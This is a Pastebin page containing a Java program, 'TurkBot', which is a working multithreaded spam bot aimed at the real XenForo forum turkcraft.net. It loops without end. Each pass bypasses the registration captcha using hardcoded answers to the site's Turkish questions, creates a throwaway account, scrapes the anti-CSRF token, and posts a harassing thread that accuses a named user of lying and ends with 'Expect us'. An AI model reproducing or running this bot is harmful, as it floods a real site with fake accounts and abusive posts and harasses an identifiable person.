Pastebin
API
tools
faq
paste
Login
Sign up
Please fix the following errors:
New Paste
Syntax Highlighting
import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.Socket; public class TurkBot { //Main, that's the entry point of the program. public static void main(String[] args) { int tc; try { if(args.length < 1) throw new NumberFormatException(); tc = Integer.parseInt(args[0]); } catch(NumberFormatException e) { System.out.println("java TurkBot Threads"); return; } //Start 6 Threads: for(int i = 0; i < tc; i++) (new Task()).start(); } //A thread, started by the main class public static class Task extends Thread { public void run() { //Just start the spam function. spamTask(); } } private static final String host = "turkcraft.net"; //The spam function... :D public static void spamTask() { try { Socket s; String session = null; String captchaID = null; String header; InputStream in; OutputStream out; byte[] buffer; String reply; int cl = 0; int got; String[] split; int t; String postdata; String captcha; String token; StringBuilder sb; //The main loop. As we want to spam it should never end. while(true) { captcha = null; //This loop fetches the registration page till it gets the anser to the captcha. while(captcha == null) { //New socket s = new Socket(); //As we want to register a new user: Remove the session hash. session = null; //Connect to the web server s.connect(new InetSocketAddress(host, 80)); //Get an input and an output stream to talk to the server. in = s.getInputStream(); out = s.getOutputStream(); //Generate a valid HTTP header: /* * GET /index.php?register/ HTTP/1.1 * Host: turkcraft.net * Connection: close * User-Agent: V10Bot */ header = "GET /index.php?register/ HTTP/1.1\r\nHost: "+host+"\r\nConnection: close\r\nUser-Agent: V10Bot\r\n\r\n"; //Send it to the host out.write(header.getBytes()); out.flush(); //Read the HTTP header the server replies. The header ends with a double newline. //We read it byte for byte so we can stop after the header. reply = new String(); //Read 8 kb. The header shouldn't be bigger. This may cut off some parts of the body, but that's no big problem as there's no information we need. buffer = new byte[8192]; in.read(buffer); reply = new String(buffer); //We have the header, let's parse it line by line. split = reply.split("\r\n\r\n"); for(String line: split[0].split("\r\n")) { //If the line describes the length of the HTTP body (the html page) save the length. //We need it later to read the buffer. if(line.startsWith("Content-Length: ")) cl = Integer.parseInt(line.substring(16)); //Else if the line is used to send us the cookie with the session hash, save that session hash //So we can authenticate us later. else if(line.startsWith("Set-Cookie: xf_session=")) session = line.substring(23, line.indexOf(";")); } //Now read the body. As we have the length let's make a buffer with it and read from the socket till we have all. //The buffer may be bigger than it needs to be, I was to lazy to convert to the 8kb header read. :P got = cl - split[1].length(); buffer = new byte[cl]; while(got > 0) { t = cl - got; got -= in.read(buffer, t, cl - t); } //Allright, we don't need the connection anymore, let's close it. in.close(); out.close(); s.close(); //Let's make a readable string from the byte buffer containing the body reply = new String(buffer); //Now let's parse the captchaID + the security question (the captcha itself) with a bit split/substring magic split = reply.split("\t\t<div class=\"ddText\"><label for=\""); if(split.length < 2) continue; t = split[1].indexOf("\""); captchaID = split[1].substring(0, t); //Let's get the answer for the question or continue with the loop (see above). reply = split[1].substring(t+2, split[1].indexOf("<")); if(reply.equals("Minecraft'ın yapımcısı kimdir?") || reply.equals("Minecraft'da \"Patlayan Yaratık\"a ne isim verilir?")) captcha = "Notch"; else if(reply.equals("Hangisi bir isimdir? \"Asdasd\", \"Mehmet\"")) captcha = "Mehmet"; else if(reply.equals("Türkiyenin başkenti hangi ilimizdir?")) captcha = "Ankara"; else if(reply.equals("\"Hello\"nun Türkçe karşılığı nedir?")) captcha = "Merhaba"; } //Now register the user with the session in a cookie + the captcha and the other needed stuff like username, email, password, ... in the POST data. //First: Connect on a new socket. s = new Socket(); s.connect(new InetSocketAddress(host, 80)); in = s.getInputStream(); out = s.getOutputStream(); //We need a username, let's use a random number generator for it. postdata = Long.toHexString(Double.doubleToLongBits(Math.random())); //If the username is to long et's short it if(postdata.length() > 15) postdata = postdata.substring(0, 14); //Now let's make the POST data: /* * username = <username> * email = <username>@<username>.com * password = <username> * password_confirm = <username> * dob_month = 1 * dob_day = 1 * dob_year = 1990 * gender = male * timezone = Europe/Amsterdam * captcha_question_answer = <captcha> * captcha_questionHash = <capthcaID> */ postdata = "username="+postdata+"&email="+postdata+"%40"+postdata+".com&password="+postdata+"&password_confirm="+postdata+"&dob_month=1&dob_day=1&dob_year=1990&gender=male&timezone=Europe%2FAmsterdam&captcha_question_answer="+captcha+"&captcha_question_hash="+captchaID+"&agree=1\r\n"; //Now let's make a valid HTTP header: /* * POST /index.php?register/register HTTP/1.1 * Host: turkcraft.net * Connection: close * User-Agent: V10bot * Content-Length <postdata length> * Content-Type: application/x-www-form-urlencoded */ sb = new StringBuilder("POST /index.php?register/register HTTP/1.1\r\nHost: ").append(host).append("\r\nConnection: close\r\nUser-Agent: V10Bot\r\nContent-Length: ").append(postdata.length()).append("\r\nContent-Type: application/x-www-form-urlencoded\r\n"); //If we have a session hash (we should!) let's add it as a cookie if(session != null) sb.append("Cookie: xf_session=").append(session).append("\r\n"); //And a ending newline to tell the server that the POST data begins. After that the postdata. sb.append("\r\n").append(postdata); //Let's send that data to the server: /* * POST /index.php?register/register HTTP/1.1 * Host: turkcraft.net * Connection: close * User-Agent: V10bot * Content-Length <postdata length> * Content-Type: application/x-www-form-urlencoded * Cookie: xf_session=<session> * * username=<username>&email=<username>@<username>.com&password=<username>&password_confirm=<username>&dob_month=1&dob_day=1&dob_year=1990&gender=male&timezone=Europe/Amsterdam&captcha_question_answer=<captcha>&captcha_questionHash=<capthcaID> */ out.write(sb.toString().getBytes()); out.flush(); //Read the header buffer = new byte[8192]; in.read(buffer); reply = new String(buffer); for(String line: reply.split("\r\n\r\n")[0].split("\r\n")) if(line.startsWith("Set-Cookie: xf_session=")) session = line.substring(23, line.indexOf(";")); //No need to read the body, xenforo seems to register us while we read the header. in.close(); out.close(); s.close(); //Now, as we are registred, go to the create thread page... s = new Socket(); s.connect(new InetSocketAddress(host, 80)); in = s.getInputStream(); out = s.getOutputStream(); sb = new StringBuilder("GET /index.php?forums/survival-mod-sunucular%C4%B1.20/create-thread HTTP/1.1\r\nHost: ").append(host).append("\r\nConnection: close\r\nUser-Agent: V10Bot\r\n"); if(session != null) sb.append("Cookie: xf_session=").append(session).append("\r\n"); sb.append("\r\n").append(postdata); out.write(sb.toString().getBytes()); out.flush(); buffer = new byte[8192]; in.read(buffer); reply = new String(buffer); //We have the header, let's parse it line by line. split = reply.split("\r\n\r\n"); for(String line: split[0].split("\r\n")) { //If the line describes the length of the HTTP body (the html page) save the length. //We need it later to read the buffer. if(line.startsWith("Content-Length: ")) cl = Integer.parseInt(line.substring(16)); //Else if the line is used to send us the cookie with the session hash, save that session hash //So we can authenticate us later. else if(line.startsWith("Set-Cookie: xf_session=")) session = line.substring(23, line.indexOf(";")); } //Now read the body. As we have the length let's make a buffer with it and read from the socket till we have all. //The buffer may be bigger than it needs to be, I was to lazy to convert to the 8kb header read. :P got = cl - split[1].length(); buffer = new byte[cl]; while(got > 0) { t = cl - got; got -= in.read(buffer, t, cl - t); } //We need the attachment hash and the xfToken from that page or we will cause a security exception from xenforo later split = new String(buffer).split("<input type=\"hidden\" name=\"attachment_hash\" value=\""); if(split.length < 2) continue; String hash = split[1]; split = hash.split("<input type=\"hidden\" name=\"_xfToken\" value=\""); if(split.length < 2) continue; token = split[1]; hash = hash.substring(0, hash.indexOf("\"")); token = token.substring(0, token.indexOf("\"")); //And we close... in.close(); out.close(); s.close(); s = new Socket(); s.connect(new InetSocketAddress(host, 80)); in = s.getInputStream(); out = s.getOutputStream(); //We need postdata again, Iwon't get into detail this time, but it contains the thread title, the message, the attachment hash, the xfToken and other things to make a valid thread. postdata = "title=I%20told%20you%20to%20NOT%20DELETE%20MY%20POSTS&message=Lynax%20is%20the%20liar%2C%20not%20me.%20He%20is%20unable%20to%20give%20the%20simplest%20information%20like%20paypal%20addresses%20and%20transaction%20numbers%20which%20would%20prove%20his%20payment!%0A%0AWe%20do%20not%20forgive.%0AWe%20do%20not%20forget.%0AExpect%20us.&_xfRelativeResolver=http%3A%2F%2Fturkcraft.net%2Findex.php%3Fforums%2Fsurvival-mod-sunucular%25C4%25B1.20%2Fcreate-thread&attachment_hash="+hash+"&watch_thread=1&watch_thread_email=1&watch_thread_state=1&poll%5Bquestion%5D=&poll%5Bresponses%5D%5B%5D=&poll%5Bresponses%5D%5B%5D=&_xfToken="+token+"&_xfRequestUri=%2Findex.php%3Fforums%2Fsurvival-mod-sunucular%25C4%25B1.20%2Fcreate-thread&_xfNoRedirect=1&_xfResponseType=json\r\n"; sb = new StringBuilder("POST /index.php?forums/survival-mod-sunucular%C4%B1.20/add-thread HTTP/1.1\r\nHost: ").append(host).append("\r\nConnection: close\r\nUser-Agent: V10Bot\r\nContent-Length: ").append(postdata.length()).append("\r\nContent-Type: application/x-www-form-urlencoded\r\nReferer: /index.php?forums/survival-mod-sunucular%C4%B1.20/create-thread\r\n"); if(session != null) sb.append("Cookie: xf_session="+session+"\r\n"); sb.append("\r\n").append(postdata); out.write(sb.toString().getBytes()); //No need to read the data here. Xenforo saved the post before it replies any data. Also we don't flush/close for better performance. ^^ //Allright, let's start from the beginning of the loop. } } catch(IOException e) { e.printStackTrace(); return; } } }
Optional Paste Settings
Category:
None
Cryptocurrency
Cybersecurity
Fixit
Food
Gaming
Haiku
Help
History
Housing
Jokes
Legal
Money
Movies
Music
Pets
Photo
Science
Software
Source Code
Spirit
Sports
Travel
TV
Writing
Tags:
Syntax Highlighting:
None
Bash
C
C#
C++
CSS
HTML
JSON
Java
JavaScript
Lua
Markdown (PRO members only)
Objective C
PHP
Perl
Python
Ruby
Swift
4CS
6502 ACME Cross Assembler
6502 Kick Assembler
6502 TASM/64TASS
ABAP
AIMMS
ALGOL 68
APT Sources
ARM
ASM (NASM)
ASP
ActionScript
ActionScript 3
Ada
Apache Log
AppleScript
Arduino
Asymptote
AutoIt
Autohotkey
Avisynth
Awk
BASCOM AVR
BNF
BOO
Bash
Basic4GL
Batch
BibTeX
Blitz Basic
Blitz3D
BlitzMax
BrainFuck
C
C (WinAPI)
C Intermediate Language
C for Macs
C#
C++
C++ (WinAPI)
C++ (with Qt extensions)
C: Loadrunner
CAD DCL
CAD Lisp
CFDG
CMake
COBOL
CSS
Ceylon
ChaiScript
Chapel
Clojure
Clone C
Clone C++
CoffeeScript
ColdFusion
Cuesheet
D
DCL
DCPU-16
DCS
DIV
DOT
Dart
Delphi
Delphi Prism (Oxygene)
Diff
E
ECMAScript
EPC
Easytrieve
Eiffel
Email
Erlang
Euphoria
F#
FO Language
Falcon
Filemaker
Formula One
Fortran
FreeBasic
FreeSWITCH
GAMBAS
GDB
GDScript
Game Maker
Genero
Genie
GetText
Go
Godot GLSL
Groovy
GwBasic
HQ9 Plus
HTML
HTML 5
Haskell
Haxe
HicEst
IDL
INI file
INTERCAL
IO
ISPF Panel Definition
Icon
Inno Script
J
JCL
JSON
Java
Java 5
JavaScript
Julia
KSP (Kontakt Script)
KiXtart
Kotlin
LDIF
LLVM
LOL Code
LScript
Latex
Liberty BASIC
Linden Scripting
Lisp
Loco Basic
Logtalk
Lotus Formulas
Lotus Script
Lua
M68000 Assembler
MIX Assembler
MK-61/52
MPASM
MXML
MagikSF
Make
MapBasic
Markdown (PRO members only)
MatLab
Mercury
MetaPost
Modula 2
Modula 3
Motorola 68000 HiSoft Dev
MySQL
Nagios
NetRexx
Nginx
Nim
NullSoft Installer
OCaml
OCaml Brief
Oberon 2
Objeck Programming Langua
Objective C
Octave
Open Object Rexx
OpenBSD PACKET FILTER
OpenGL Shading
Openoffice BASIC
Oracle 11
Oracle 8
Oz
PARI/GP
PCRE
PHP
PHP Brief
PL/I
PL/SQL
POV-Ray
ParaSail
Pascal
Pawn
Per
Perl
Perl 6
Phix
Pic 16
Pike
Pixel Bender
PostScript
PostgreSQL
PowerBuilder
PowerShell
ProFTPd
Progress
Prolog
Properties
ProvideX
Puppet
PureBasic
PyCon
Python
Python for S60
QBasic
QML
R
RBScript
REBOL
REG
RPM Spec
Racket
Rails
Rexx
Robots
Roff Manpage
Ruby
Ruby Gnuplot
Rust
SAS
SCL
SPARK
SPARQL
SQF
SQL
SSH Config
Scala
Scheme
Scilab
SdlBasic
Smalltalk
Smarty
StandardML
StoneScript
SuperCollider
Swift
SystemVerilog
T-SQL
TCL
TeXgraph
Tera Term
TypeScript
TypoScript
UPC
Unicon
UnrealScript
Urbi
VB.NET
VBScript
VHDL
VIM
Vala
Vedit
VeriLog
Visual Pro Log
VisualBasic
VisualFoxPro
WHOIS
WhiteSpace
Winbatch
XBasic
XML
XPP
Xojo
Xorg Config
YAML
YARA
Z80 Assembler
ZXBasic
autoconf
jQuery
mIRC
newLISP
q/kdb+
thinBasic
Paste Expiration:
Never
Burn after read
10 Minutes
1 Hour
1 Day
1 Week
2 Weeks
1 Month
6 Months
1 Year
Paste Exposure:
Public
Unlisted
Private
Folder:
(members only)
Password
NEW
Enabled
Disabled
Burn after read
NEW
Paste Name / Title:
Create New Paste
Hello
Guest
Sign Up
or
Login
Sign in with Facebook
Sign in with Twitter
Sign in with Google
You are currently not logged in, this means you can not edit or delete anything you paste.
Sign Up
or
Login
Public Pastes
Crypto admin access
11 min ago | 0.43 KB
+12,000$ in 2 days
CSS | 11 min ago | 0.72 KB
Free Crypto Method
CSS | 12 min ago | 0.72 KB
Documents
12 min ago | 0.43 KB
Untitled
20 hours ago | 0.68 KB
The Road Not Taken
1 day ago | 0.79 KB
OG OLDHAM CODE
3 days ago | 27.75 KB
remove current bid and bid now button from au...
PHP | 4 days ago | 0.80 KB
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the
Cookies Policy
.
OK, I Understand
Not a member of Pastebin yet?
Sign Up
, it unlocks many cool features!